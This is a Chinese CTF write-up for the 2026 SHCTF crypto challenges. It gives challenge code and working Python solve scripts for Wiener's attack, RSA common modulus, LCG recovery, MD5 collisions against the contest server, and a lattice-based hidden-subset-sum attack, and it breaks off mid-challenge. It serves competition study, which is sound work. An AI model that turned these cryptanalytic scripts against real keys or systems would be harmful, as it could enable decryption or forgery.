前言
还行就是在快春节备年货的时间段,一直有事,没有什么时间写和做,wp还要加班写,累死了 osint 全是我的世界 这个题目出的非常不好
社会赛道: 队伍名字:叁叁玖玖,第8名 拿了8个血



比赛简介
为响应国家高度关注网络安全、做好网络安全工作的指示,助力提升国民网络安全意识和能力,SHCTF-"山河"网络安全技能挑战赛组委会决定举办第三届大赛。
本届大赛是由西安邮电大学、齐鲁工业大学(山东省科学院)、长春工程学院、长春理工大学、哈尔滨工业大学(威海)、菏泽学院 、湖南警察学院、闽江师范高等专科学校、罗定职业技术学院、西安工业大学、云南大学、浙江大学、珠海科技学院、赣西科技职业学院、杭州电子科技大学信息工程学院、湖南人文科技学院、淮南联合大学、山东商业职业技术学院、山东协和学院、三亚学院、深圳职业技术大学、梧州学院、西北师范大学、盐城工学院、郑州商学院、中国科学技术大学(排名不分先后)等二十余所高校共同举办的「CTF Capture The Flag」高校联赛,比赛持续一周,分两次逐步放题,比赛采用 「Jeopardy 解题模式 」涵盖Web、Pwn、Reverse、Misc、Crypto等CTF常见赛题方向。
大赛参赛形式为个人赛,面向全体网络安全爱好者,在设置公开赛道的同时为各联合高校单位开放校内赛道,欢迎社会各界网络安全爱好者的积极参与。
协办单位:山东汉任信息安全技术有限公司,烽壤信息科技(甘肃)有限责任公司,山东鹏云信息科技有限公司
比赛地址:https://shc.tf/
比赛时间:2026-2-2 至 2026-2-8
校内赛道报名邀请码请咨询对应高校负责人获取


Crypto(全解)
第一阶段
Ez_RSA

100252_chall.py
from Crypto.Util.number import getPrime,bytes_to_long
from gmpy2 import invert
from secret import flag
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
n = p*q
phi = (p-1) * (q-1)
e = getPrime(1019)
d = invert(e, phi)
c = pow(m,e,n)
"""
n = 107464134871680646151655304067173578951022679613817744422854142736895193478923970402314237869266898585661396817719803005109183572552933963881756199330890085692291647461683934019264121186823772581796061998307778635680038707808422026396560620912393186072263186503236380890048319797143644270579169484448179083299
e = 3924586561728843234261049280560557566669922961436496251423249382498887294225142535297862819865029081145630384268177735578769958711287734205364353929040337350836000661255957087233897675207507752217828489549059197109918195953230752720210793300168746820366115929509596904295875481061789801178045962611893883689
c = 4557192604704814579224198928010541193712311907197292139423304635523945088581321950910727673367241811197226152299201713883344661436550024661781925551129803469824570154317098612833694631836257698682075695287756551674264966935203485636255394639674521955953445322493019052791894426980946209383266707043869522774
"""
加密分析 题目给出的是标准 RSA 加密
$$
c equiv m^e pmod n
$$
观察参数发现公钥指数 e 非常大(与 N 同量级),这是维纳攻击的典型特征。
$$
当 d < frac{1}{3}N^{1/4} 时,可以通过 e/N 的连分数展开计算渐进分数来恢复私钥 d。
$$
解密思路
$$
计算 e/N 的连分数展开。
$$
$$
生成渐进分数 k/d。
$$
$$
遍历每个分母 d作为私钥候选值,验证 phi(n) 是否能导出整数解。
$$
$$
利用正确的 d 计算 m equiv c^d pmod n 得到 flag。
$$
exp.py
import sys
import math
from Crypto.Util.number import long_to_bytes
sys.set_int_max_str_digits(10000)
n = 107464134871680646151655304067173578951022679613817744422854142736895193478923970402314237869266898585661396817719803005109183572552933963881756199330890085692291647461683934019264121186823772581796061998307778635680038707808422026396560620912393186072263186503236380890048319797143644270579169484448179083299
e = 3924586561728843234261049280560557566669922961436496251423249382498887294225142535297862819865029081145630384268177735578769958711287734205364353929040337350836000661255957087233897675207507752217828489549059197109918195953230752720210793300168746820366115929509596904295875481061789801178045962611893883689
c = 4557192604704814579224198928010541193712311907197292139423304635523945088581321950910727673367241811197226152299201713883344661436550024661781925551129803469824570154317098612833694631836257698682075695287756551674264966935203485636255394639674521955953445322493019052791894426980946209383266707043869522774
def continued_fractions(n, d):
while d:
q = n // d
yield q
n, d = d, n % d
def convergents(cf):
n0, d0 = 0, 1
n1, d1 = 1, 0
for q in cf:
n2, d2 = q * n1 + n0, q * d1 + d0
yield n2, d2
n0, d0 = n1, d1
n1, d1 = n2, d2
def solve():
cf = continued_fractions(e, n)
convs = convergents(cf)
for k, d in convs:
if k == 0: continue
if (e * d - 1) % k != 0:
continue
phi = (e * d - 1) // k
b = n - phi + 1
delta = b*b - 4*n
if delta >= 0:
sqrt_delta = math.isqrt(delta)
if sqrt_delta * sqrt_delta == delta:
m = pow(c, d, n)
try:
print(long_to_bytes(m).decode())
return
except:
continue
if __name__ == "__main__":
solve()

SHCTF{e950ea87356fc62ce6323253a672680e}
TE

task.py
from Crypto.Util.number import *
import random
from secret import flag
p, q = getPrime(512), getPrime(512)
n = p * q
e1 = random.getrandbits(32)
e2 = random.getrandbits(32)
print(f'{e1 = }')
print(f'{e2 = }')
m = bytes_to_long(flag)
c1 = pow(m, e1, n)
c2 = pow(m, e2, n)
print(f'{n = }')
print(f'{c1 = }')
print(f'{c2 = }')
'''
e1 = 740153575
e2 = 2865243571
n = 136622832042809215646904518487100682818433235485047740604612449039291802103378650845690420527029208661555957840623544220907967041438993189882681277161437473818861280518627112617436473837014181944318974950710633690704711613682306786783611123590732850783007770603201513394002330426718261667816328404673167404897
c1 = 56187319559060690757544481076112948328826527679002578544683022765347668056620384831778729489197135280950314627119815558644487151419126272267146826463912815062442590228193753706779325992179790583792001196548329204758137104234662611732735693150331594645734142941475121453410494160975503459516324097097434727685
c2 = 45042409947237296641429229414329516753664139389113206575966507524195434716702812078844474626406932213486611190698953613898299571473488550533642524208077653917354039305279692307471529748408234617430389423630015569730564585740596832844917494965974840512412454337766930330443409183293514761911902752336129193323
'''
题目分析
题目给出了 RSA 加密场景:
加密方式:使用相同的模数 n 和相同的明文 m。
$$
变量:使用了两个不同的公钥指数 e_1 和 e_2,分别生成密文 c_1 和 c_2。
$$
漏洞: RSA 共模攻击
解密逻辑
$$
当 gcd(e_1, e_2) = 1 时,根据贝祖定理,存在整数 s_1, s_2 使得:s_1 e_1 + s_2 e_2 = 1
$$
$$
攻击者可以利用扩展欧几里得算法求出s_1和s_2,然后通过以下公式直接恢复明文m:m equiv c_1^{s_1} times c_2^{s_2} pmod n
$$
exp.py
from Crypto.Util.number import long_to_bytes
n = 136622832042809215646904518487100682818433235485047740604612449039291802103378650845690420527029208661555957840623544220907967041438993189882681277161437473818861280518627112617436473837014181944318974950710633690704711613682306786783611123590732850783007770603201513394002330426718261667816328404673167404897
e1 = 740153575
e2 = 2865243571
c1 = 56187319559060690757544481076112948328826527679002578544683022765347668056620384831778729489197135280950314627119815558644487151419126272267146826463912815062442590228193753706779325992179790583792001196548329204758137104234662611732735693150331594645734142941475121453410494160975503459516324097097434727685
c2 = 45042409947237296641429229414329516753664139389113206575966507524195434716702812078844474626406932213486611190698953613898299571473488550533642524208077653917354039305279692307471529748408234617430389423630015569730564585740596832844917494965974840512412454337766930330443409183293514761911902752336129193323
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
g, s1, s2 = egcd(e1, e2)
m = (pow(c1, s1, n) * pow(c2, s2, n)) % n
print(long_to_bytes(m).decode())

SHCTF{lYQkkk3ud4hqV3fZtPWH077vhI2Bqcz19ZRxf1vwRU8Ej4uvrJcF02Sd4bzjxqUH5096qWDIdTyEJ$JzF}
Stream

题目分析
题目使用线性同余生成器 (LCG) 生成密钥流对明文进行异或加密。 提供了已知明文 P_known 及其对应的密文 C_known,以及 Flag 的密文 C_flag。
$$
提取状态:利用已知明文和密文,通过 S_i = P_i oplus C_i 恢复出连续的 6 个 LCG 随机数状态。
$$
攻击 LCG:
$$
求模数 m:利用行列式性质 Un = T{n+2}Tn – T{n+1}^2 (其中 Tn = S{n+1}-S_n),计算多个 U_n 的最大公约数得到 m。
$$
$$
求参数 a, c:构建线性方程组求解,a = T_{n+1} cdot Tn^{-1} pmod m,c = S{n+1} – a cdot S_n pmod m。
$$
解密:利用恢复的参数生成剩余密钥流,异或 C_flag 得到 flag。
exp.py
def inverse(a, m):
return pow(a, -1, m)
def gcd(a, b):
while b:
a, b = b, a % b
return a
def solve():
P_known = b'Insecure_linear_congruential_random_number!!!!!!'
C_known_hex = "44e18dfa1acd14aa790fc3bac4ca54c137bcd47bdfc2209a53b83715ecad3e29249845720588cac007bfb94f8476d91a"
C_flag_hex = "1995374a5b64c6696578c1d5bdc6fa3d1e974b813436eab4348db801fb7a6703658eaa4fefa2c6fd6792beb969df8ca70ad87a4f4aea6ca0040d65a3c1e3a5bf2655cafc1e5603a171edc9aa077c0ca264677c351907f35756c14dd7ece428cb424a3804b544ccb53e99935f9bc2d8483dd7587379c99b3542c222008a"
full_cipher = bytes.fromhex(C_known_hex + C_flag_hex)
S = []
for i in range(0, len(P_known), 8):
p_block = int.from_bytes(P_known[i:i+8], 'big')
c_block = int.from_bytes(full_cipher[i:i+8], 'big')
S.append(p_block ^ c_block)
T = [S[i+1] - S[i] for i in range(len(S)-1)]
U = [T[i+2] * T[i] - T[i+1]**2 for i in range(len(T)-2)]
m = abs(U[0])
for val in U[1:]:
m = gcd(m, abs(val))
a = (T[1] * inverse(T[0], m)) % m
c = (S[1] - a * S[0]) % m
print(f"m = {m}na = {a}nc = {c}")
remaining_bytes = len(full_cipher) - len(P_known)
remaining_blocks = (remaining_bytes + 7) // 8
keystream = []
curr = S[-1]
for _ in range(remaining_blocks):
curr = (a * curr + c) % m
keystream.append(curr)
decrypted_bytes = b''
cipher_flag_part = full_cipher[len(P_known):]
for i in range(len(keystream)):
chunk = cipher_flag_part[i*8 : (i+1)*8]
if len(chunk) < 8:
chunk += b'x00' * (8 - len(chunk))
c_val = int.from_bytes(chunk, 'big')
k_val = keystream[i]
p_val = c_val ^ k_val
decrypted_bytes += p_val.to_bytes(8, 'big')
flag_raw = decrypted_bytes.decode('utf-8', errors='ignore')
if '}' in flag_raw:
print(flag_raw.split('}')[0] + '}')
else:
print(flag_raw)
if __name__ == "__main__":
solve()

SHCTF{LLLLLLLLLLLLLLLCCCCCGGGGGGGGG_TGY%JgWOmAM6V5n55w3m*jcPJZjHO8E1VvzrGjT84tXS332D&o4GZe8%KKzEyAngmwwx9bp5dv_O4dPpOvMy1^hM}
not_eight_length

task.py
from Crypto.Util.number import *
from sympy import *
from secret import encrypted_flag
m = bytes_to_long(encrypted_flag)
p = getPrime(512)
temp = nextprime(p)
q = nextprime(temp)
n = p * q
e = 65537
c = pow(m, e, n)
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
# n = 172113078605688993167549425692325605693719693815361211139292482064751327114103720980024048929660587708361336638391782482562146750015275689746844657810313957504514376746631004470588767450715447808496931019899675426647981223953742448155335425954936981689508246039354976739386690722681509534696120714425567962527
# e = 65537
# c = 47611886444337000128826989676221463775339201602510220886566675518701473035795983698414894648685567473325732994652173596155832091773084566434572294009136327143103984205257862772844337876748271318723897875683699389776414143689503392203746843332334862282735760778003407162335426111769147991087343730761557771446
题目分析
加密算法:RSA。
$$
漏洞点:题目生成逻辑为 p = getPrime(512), q = nextprime(nextprime(p))。
$$
$$
由于 p 和 q 是极其接近的素数,导致 n = pq approx p^2。可以通过费马分解法的简化版,直接对 n 开平方根 (sqrt{n}) 快速找到 p。
$$
编码陷阱:常规题目使用 bytes_to_long (8-bit/byte),本题名为 “not_eight_length”,且常规解码失败。根据 ASCII 特性,这里使用的是 7-bit 编码将字符转换为整数。解密后的 m 需要转为二进制,每 7 位切割还原为字符。
exp.py
import gmpy2
n = 172113078605688993167549425692325605693719693815361211139292482064751327114103720980024048929660587708361336638391782482562146750015275689746844657810313957504514376746631004470588767450715447808496931019899675426647981223953742448155335425954936981689508246039354976739386690722681509534696120714425567962527
e = 65537
c = 47611886444337000128826989676221463775339201602510220886566675518701473035795983698414894648685567473325732994652173596155832091773084566434572294009136327143103984205257862772844337876748271318723897875683699389776414143689503392203746843332334862282735760778003407162335426111769147991087343730761557771446
p = gmpy2.isqrt(n)
while n % p != 0:
p -= 1
q = n // p
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
m_bin = bin(m)[2:]
while len(m_bin) % 7 != 0:
m_bin = '0' + m_bin
flag = ''
for i in range(0, len(m_bin), 7):
flag += chr(int(m_bin[i:i+7], 2))
print(flag)

SHCTF{99f4a238-9bd5-498a-b8ea-5cd243a36a19}
古典也颇有韵味啊

密文:bcin!guy zeui wh! wwps ce yryz ysex:wpurt{wc@xdii_u2frmt_cwkg_ktani0}
encode_key:ABBAAABBABBAABABAABBABAAAAABBAAABAAABBAAAABAABAAAAAABAA
解密key培根密码
ABBAAABBABBAABABAABBABAAAAABBAAABAAABBAAAABAABAAAAAABAA

NOTVIGENERE (意为 "Not Vigenère")。
解密密文 (维吉尼亚自动密钥)
线索:“不是维吉尼亚”但“有共同点”,且提到“维多利亚”(Victoria -> V),暗示 Autokey Cipher (自动密钥密码)。

解出
exp.py
def solve():
bacon_cipher = "ABBAAABBABBAABABAABBABAAAAABBAAABAAABBAAAABAABAAAAAABAA"
cipher_text = "bcin!guy zeui wh! wwps ce yryz ysex:wpurt{wc@xdii_u2frmt_cwkg_ktani0}"
bacon_dict = {
'AAAAA':'a','AAAAB':'b','AAABA':'c','AAABB':'d','AABAA':'e',
'AABAB':'f','AABBA':'g','AABBB':'h','ABAAA':'i','ABAAB':'k',
'ABABA':'l','ABABB':'m','ABBAA':'n','ABBAB':'o','ABBBA':'p',
'ABBBB':'q','BAAAA':'r','BAAAB':'s','BAABA':'t','BAABB':'v',
'BABAA':'w','BABAB':'x','BABBA':'y','BABBB':'z'
}
primer_key = ""
for i in range(0, len(bacon_cipher), 5):
chunk = bacon_cipher[i:i+5]
if chunk in bacon_dict:
primer_key += bacon_dict[chunk]
print(f"Recovered Key: {primer_key.upper()}")
key_queue = list(primer_key)
plaintext = ""
for char in cipher_text:
if char.isalpha():
current_key_char = key_queue.pop(0)
shift = ord(current_key_char.lower()) - ord('a')
c_val = ord(char.lower()) - ord('a')
p_val = (c_val - shift) % 26
p_char = chr(p_val + ord('a'))
if char.isupper():
p_char = p_char.upper()
plaintext += p_char
key_queue.append(p_char)
else:
plaintext += char
print(f"Decrypted Text: {plaintext}")
start = plaintext.find("SHCTF{")
if start != -1:
print(f"Flag: {plaintext[start:]}")
if __name__ == "__main__":
solve()

SHCTF{cl@ssic_c2ypto_also_crypt0}
AES的诞生
task.py
from typing import Optional
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
import os, secrets, string
from time import time
from secret import flag
flag = b'SHCTF{This_1s_@_FaK3_flag}'
def get_seed() -> Optional[bytes]:
length = len((f"{int(time() * 10 ** 6)}" * 2).encode("utf-8"))
if (length == 32) :
return (f"{int(time() * 10 ** 6)}" * 2).encode("utf-8")
def oracle(chunk: str, cipher: Cipher, pkcs7_padding: padding.PKCS7) -> str:
padder = pkcs7_padding.padder()
padded = padder.update(chunk.encode("utf-8")) + padder.finalize()
encryptor = cipher.encryptor()
return (encryptor.update(padded) + encryptor.finalize()).hex()
def chunk(data: bytes, group_size: int = 7, random_fill: bool = True) -> list[str]:
val = int.from_bytes(data, "big")
bin_str = format(val, "b")
alphabet = string.digits + string.ascii_letters
groups: list[str] = []
for i in range(0, len(bin_str), group_size):
g = bin_str[i : i + group_size]
if len(g) < group_size:
if random_fill:
fill = ''.join(secrets.choice(alphabet) for _ in range(group_size - len(g)))
else:
fill = '0' * (group_size - len(g))
g = g + fill
groups.append(g)
return groups
def main() -> None:
key = get_seed()
groups = chunk(flag, group_size=7, random_fill=True)
iv = os.urandom(16)
aes_cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
pkcs7 = padding.PKCS7(algorithms.AES.block_size)
ciphertexts = [oracle(g, aes_cipher, pkcs7) for g in groups]
out_lines: list[str] = []
def log(*parts):
line = ' '.join(str(p) for p in parts)
out_lines.append(line)
print(line)
log('iv =', iv.hex())
log('————————————————————————————————————')
for ct in ciphertexts:
log(('|'),ct,('|'))
log('————————————————————————————————————')
data_path = os.path.join(os.path.dirname(__file__), 'data.txt')
with open(data_path, 'w', encoding='utf-8') as f:
f.write('n'.join(out_lines))
if __name__ == "__main__":
main()


加密逻辑:题目源码使用 time() 生成种子作为密钥,将 Flag 转为二进制后按 7bit 分组,每组单独进行 AES-CBC 加密。
线索:题目提示“AES诞生的时间”且附件提到 FIPS 197。


NIST 于 2001年11月26日 正式发布 FIPS 197(AES标准)。
构建密钥:
取该日期零点时间戳(UTC+8):1006704000。
根据源码 int(time() * 10**6) 逻辑,种子为 1006704000000000(16位)。
Key = 种子 * 2 = b'10067040000000001006704000000000'。
解密流程
提取数据:从 data.txt 提取 IV 和所有密文块(32位 Hex)。
逐块解密:使用计算出的 Key 和 IV 对每个密文块进行 AES-CBC 解密。
数据还原:解密后得到的是 Flag 的 7bit 二进制片段,拼接所有片段。
转码:将完整的二进制字符串转为 ASCII 字符即得 Flag。
exp.py
import re
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
iv_hex = "d966f3a0c51cd460764b0b62ad10796a"
raw_data = """
50b46ebd11b82c5b5c802913e60b4ad5
e4c04d26cab88eb53ff35618797b36e3
e666c6ae95791f32509ac9485bec53c0
5a012218f52fc3dabf8c1a62ffdf528f
7b1fe7de83532b470cee24bad1bdc50e
684ac74414d4c72121d99ccd8cb68662
1dfd5287ba9548cf80eb9c5d598d17a9
e666c6ae95791f32509ac9485bec53c0
f0125aba503835d048f45bb2e1e2472b
099069650820d9bfb5b016648c002078
f34fcd626acfbcf1b83145989cbca94e
3ff5000e47d7f68d535b8471bb26fba4
4a5535d6cc72fbc62cef774824bc46e1
2fb7071182f7ed8c9acbc8bdf83de3fd
4d79df16626b4031651cd8174fd0e806
0aea4d6b0c0e42403c7df9a2952a8d2c
a6493b26d3337ffdbe1b2c83bbd2739e
d69612f3057925b553f39611d9225c62
db870abe80d5eff1471a09c6db97cd81
ec2023d57d870da28af5d7479f58a8c7
4a5535d6cc72fbc62cef774824bc46e1
dee13aeb1c13fb3b70cd1cb08cdda12b
cc45333beaa5fc6aded6d9fbf17f8169
099069650820d9bfb5b016648c002078
99992fd4689125b0fb33881276cf0526
ef6335b6121381fac5175b2104d03ce0
f34fcd626acfbcf1b83145989cbca94e
0e7c2f8959e79f1baf526b4305677b15
837edc45fdafa37a9c8b04d1676f99f0
2fb7071182f7ed8c9acbc8bdf83de3fd
4815fbfcc88d1e0a1deebb0628122205
c627216b0c71593a60eaab811d7a8b14
af29c5c8861ea09b2d3ccd450b723b1a
10dc01f1052c63d1df6ef6e796589008
bea46045dfb08b8425d2cb7fb486f809
4e0bbab19e2a62ffa47f68aec7910305
684ac74414d4c72121d99ccd8cb68662
50e489ec38984d1d851f1a67c5382889
d69612f3057925b553f39611d9225c62
ef270a10b5cc257757212a82583f80d1
f9e53372cecefd4388e41a8d7ea71715
e4c04d26cab88eb53ff35618797b36e3
10dc01f1052c63d1df6ef6e796589008
9a9449200e0ebbc4bc3ae6dd592bb6a1
837edc45fdafa37a9c8b04d1676f99f0
2fb7071182f7ed8c9acbc8bdf83de3fd
f810a2efc313cbe8acb222c8e2288bec
9a9449200e0ebbc4bc3ae6dd592bb6a1
af29c5c8861ea09b2d3ccd450b723b1a
e1951078acf5c87748ff42f9f9d5fc2b
cc45333beaa5fc6aded6d9fbf17f8169
0e7c2f8959e79f1baf526b4305677b15
602468ea5e8bfe0eeaefecfc28c7f2dd
d042cb7ba9c25886c3f5b072cfc830a4
1641c7c3f60cb8fe6ad008566ecb596c
b543b4b57b7334541273a331a4ae0e77
0ef83387d23cd7b3087610a869173033
f174f12b81364591583b7e7f50c30b40
db870abe80d5eff1471a09c6db97cd81
9d72039a047870f380e5f58f48186b94
bcf718eee8728257e6ade850a58270fe
8dde48dd948d11dc532d47de0c1b2b60
9eb452aa005c262eb883c0511b3bd98c
06a0067316f0a412285a45d6991634a6
a8074111b395f36ce86ac7960ca803b8
e666c6ae95791f32509ac9485bec53c0
af29c5c8861ea09b2d3ccd450b723b1a
aad6d56935d0f49473f7aab9c6ea77c4
"""
key = b'10067040000000001006704000000000'
iv = bytes.fromhex(iv_hex)
ciphertexts = re.findall(r'[0-9a-f]{32}', raw_data.lower())
def decrypt_chunk(ct_hex):
ct = bytes.fromhex(ct_hex)
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
decryptor = cipher.decryptor()
padded_pt = decryptor.update(ct) + decryptor.finalize()
pad_len = padded_pt[-1]
return padded_pt[:-pad_len].decode('utf-8')
bin_str = ""
for ct in ciphertexts:
try:
bin_str += decrypt_chunk(ct)
except:
pass
clean_bin = ""
for c in bin_str:
if c in '01':
clean_bin += c
else:
break
val = int(clean_bin, 2)
num_bytes = (val.bit_length() + 7) // 8
print(val.to_bytes(num_bytes, "big").decode())

SHCTF{HE1lO_ctf3r_W3Lcome_tO_5hc7f_THi5_iS_e5aY_cRypt0@!!!}
第二阶段
hash1


hash1.py
import hashlib
with open("/flag.txt","r") as f:
flag = f.read().strip()
msg = input(f"Give me both different apples (hex(apple1), hex(apple2)) : ")
try:
apples = msg.split(",")
apple1 = bytes.fromhex(apples[0])
apple2 = bytes.fromhex(apples[1])
hash_apple1 = hashlib.md5(apple1).hexdigest()
hash_apple2 = hashlib.md5(apple2).hexdigest()
if apple1 == apple2:
print(f"Oh snap, both apples are exactly the same")
elif hash_apple1 != hash_apple2:
print(f"Oh no, they taste different")
else:
print(f"Yeah, both apples are delicious!!! This is your prize: {flag}")
except:
print(f"format fault :(")
exit()
解题思路
题目要求输入两个 apple(十六进制字符串),需满足两个条件:
内容不同:apple1 != apple2
MD5 哈希相同:md5(apple1) == md5(apple2)
这是一个 MD5 哈希碰撞攻击。由于 MD5 算法已被证实不安全(如 Wang’s Attack),我们可以利用已知的碰撞样本(Collision Blocks)来欺骗校验。
直接使用一组标准的 128 字节 MD5 碰撞数据即可通过。
exp.py
from pwn import *
import hashlib
host = 'challenge.shc.tf'
port = 31394
hex_1 = (
"d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f89"
"55ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5b"
"d8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0"
"e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70"
)
hex_2 = (
"d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f89"
"55ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5b"
"d8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0"
"e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70"
)
r = remote(host, port)
r.recvuntil(b": ")
payload = f"{hex_1}, {hex_2}"
r.sendline(payload.encode())
response = r.recvall().decode()
print(response)

SHCTF{C#NGRatU1ATioNS_boTh_Ha5hI_APp1E5_4r3_VeRY_DeLlc10U5_IOl}
hash2

nc连接

题目分析
题目要求输入两个不同的字符串(apple1, apple2),满足以下条件:
MD5 碰撞:md5(apple1) == md5(apple2)。
内容不同:apple1 != apple2。
前缀限制:两个字符串的前 16 字节必须是可见字符(字母或数字)。
解题思路
一个的 MD5 (选择前缀碰撞)问题。
构造一个满足要求的 16 字节前缀文件(例如 16 个 a)。
使用工具 fastcoll 基于该前缀生成两个 MD5 相同但在前缀之后有差异的二进制文件。
将这两个文件的内容转为 Hex 发送给服务器。
操作
准备 fastcoll.exe 工具。
生成前缀:echo -n "aaaaaaaaaaaaaaaa" > prefix.txt (或者用代码生成)。
生成碰撞:fastcoll -p prefix.txt -o col1.bin col2.bin。
发送 col1.bin 和 col2.bin 的 Hex 值拿到 flag。
exp.py
import os
import subprocess
from pwn import *
HOST = 'challenge.shc.tf'
PORT = 30566
FASTCOLL = './fastcoll.exe'
def solve():
prefix = b"a" * 16
with open("prefix.txt", "wb") as f:
f.write(prefix)
if not os.path.exists(FASTCOLL):
print(f"Missing {FASTCOLL}")
return
subprocess.run([FASTCOLL, "-p", "prefix.txt", "-o", "col1.bin", "col2.bin"], stdout=subprocess.DEVNULL)
with open("col1.bin", "rb") as f: apple1 = f.read()
with open("col2.bin", "rb") as f: apple2 = f.read()
try:
io = remote(HOST, PORT)
io.recvuntil(b":")
payload = apple1.hex() + "," + apple2.hex()
io.sendline(payload.encode())
io.interactive()
except Exception as e:
print(e)
if __name__ == "__main__":
solve()

SHCTF{alth#U9h_H4ShZ_@pPIe5_HAvE_5i6Ns_tH3Y_ar3_STIlL_DELlCIous}
隐藏的子集和?
task.py
#!/usr/bin/env python
# coding: utf-8
# sage
from Crypto.Util.number import *
from sage.all import *
def derive_M(n):
iota=0.035
Mbits=int(2 * iota * n^2 + n * log(n,2))
M = random_prime(2^Mbits, proof = False, lbound = 2^(Mbits - 1))
return Integer(M)
def genHssp(m, n, p, flag):
F = GF(p)
x = random_matrix(F, 1, n)
A = random_matrix(ZZ, n, m, x=0, y=3)
A[randint(0, n-1)] = vector(ZZ, list(bin(bytes_to_long(flag))[2:]))
h = x * A
return h
def data_write(p, h):
with open("data.txt", "w") as file:
file.write(str(p) + "n")
h_list = list(h[0])
file.write(str(h_list) + "n")
flag = b'SHCTF{test_test_flag_here_here_just_test_1}'
m = bytes_to_long(flag).bit_length()
n = 70
p = derive_M(n)
h = genHssp(m, n, p, flag)
data_write(p, h)
加密原理:
题目给出了大素数 pp 和向量 hh。
$$
生成逻辑为 h=x⋅A(modp)h=x⋅A(modp)。
$$
其中 x 是随机权重向量,AA 是主要由小整数构成的矩阵(部分行为 0-3 的随机数,其中一行是 flag 的二进制位)。
这是一个 隐藏子集和问题 ,且参数满足密度 d<1d<1,容易受到 Nguyen-Stern 正交格攻击。
解密思路:
构建正交格:构造格基矩阵寻找短向量 u,
$$
使得 h⋅u≡0(modp)h⋅u≡0(modp)。根据 HSSP 性质,这些 uu 也满足 A⋅u=0A⋅u=0(在整数域上)。
$$
$$
筛选有效向量:对上述格进行 LLL 规约,取前 m−nm−n 个最短的向量作为 AA 的正交补空间基底。
$$
恢复矩阵 A:计算这些向量构成的矩阵的右核 。核空间的基向量即包含了矩阵 A的行向量。
提取 flag:对核空间基进行 LLL 规约,寻找由纯 0 和 1 组成的向量,将其转为字符串即为 flag。
exp.py
import sys
from sage.all import *
from Crypto.Util.number import long_to_bytes
def solve():
print("[*] Loading data from data.txt...")
try:
with open("data.txt", "r") as f:
raw_data = f.read()
except FileNotFoundError:
return
cleaned = raw_data.replace('[', ' ').replace(']', ' ').replace(',', ' ').replace('n', ' ')
values = [Integer(x) for x in cleaned.split() if x]
p = values[0]
h = values[1:]
m = len(h)
n = 70
target_orthogonal_count = m - n
print(f"[*] Parameters: p = {p}")
print(f"[*] m = {m}, n = {n}")
print(f"[*] Target orthogonal vectors: {target_orthogonal_count}")
C = 2**1000
M = Matrix(ZZ, m + 1, m + 1)
for i in range(m):
M[i, i] = 1
M[i, m] = h[i] * C
M[m, m] = p * C
print(f"[*] Running LLL on dimension {m+1}...")
B = M.LLL()
us = []
for row in B:
if row[m] == 0 and not row[:m].is_zero():
us.append(row[:m])
print(f"[*] Total valid modular vectors found: {len(us)}")
us = us[:target_orthogonal_count]
print(f"[*] Using top {len(us)} shortest vectors to compute kernel.")
U_mat = Matrix(ZZ, us)
print("[*] Computing kernel...")
K = U_mat.right_kernel()
print(f"[*] Kernel dimension: {K.dimension()} (Expected ~{n})")
print("[*] Running LLL on kernel basis to recover Flag...")
basis_K = K.basis_matrix()
A_candidates = basis_K.LLL()
print("[*] Searching for binary vector...")
for i, row in enumerate(A_candidates):
vec = list(row)
if all(x <= 0 for x in vec):
vec = [-x for x in vec]
if all(x in [0, 1] for x in vec):
binary_str = "".join(str(x) for x in vec)
try:
while len(binary_str) % 8 != 0:
binary_str = "0" + binary_str
int_val = int(binary_str, 2)
flag_bytes = long_to_bytes(int_val)
if b'SHCTF{' in flag_bytes:
print(f"n[+] Flag found in row {i}:")
print(flag_bytes.decode())
break
except:
pass
if __name__ == '__main__':
solve()

SHCTF{2c128cca-9600-4c9a-aeec-bd69e6e27de6}
Titanium Lock

task.py
from secret import flag
import random
from hashlib import md5
from Crypto.Cipher import AES
from Crypto.Util.number import bytes_to_long
class Cipher:
def __init__(self):
self.seed = random.randint(100000, 999999)
self.c1 = [[random.randint(1, 100) for _ in range(12)] for _ in range(16)]
self.c2 = [random.randint(1, 1000) for _ in range(16)]
self.key = random.getrandbits(128)
def f1(self, msg):
random.seed(self.seed)
enc, last = [], 0
for c in str(bytes_to_long(msg)):
r = random.randint(100000, 999999)
last = ((int(c) + r) if int(c) % 2 == 0 else (int(c) * r)) ^ last
enc.append(last)
return enc
def f2(self, v):
v += [random.randint(0, 255) for _ in range(-len(v) % 12)]
res = []
for i in range(0, len(v), 12):
chunk = v[i:i+12]
res.extend([sum(self.c1[r][c] * chunk[c] for c in range(12)) + self.c2[r] for r in range(16)])
return res
def f3(self, data):
out = [[n := random.getrandbits(128), (bin(n & self.key).count('1') % 3) % 2] for _ in range(128 * 20)]
k = md5(str(self.key).encode()).digest()
return out, AES.new(k, AES.MODE_CTR, nonce=b"Tiffanyx00").encrypt(str(data).encode()).hex()
def encrypt(self, data):
o, c = self.f3(self.f2(self.f1(data)))
return {"p1": self.c1, "p2": self.c2, "trace": o, "result": c}
if __name__ == "__main__":
res = Cipher().encrypt(flag)
with open("data.txt", "w") as f:
for k, v in res.items():
f.write(f"{k} = {v}n")
加密
题目实现了一个多层混合加密系统,主要流程如下:
密钥生成与泄露:生成一个 128-bit 的随机整数 key。题目给出的 trace 是关于该密钥的线性方程组泄露,计算逻辑为
(popcount(n & key) % 3) % 2
flag 编码与混淆:
flag 被转换为十进制数字字符串。
$$
利用随机数种子(Seed)生成序列 riri。
$$
$$
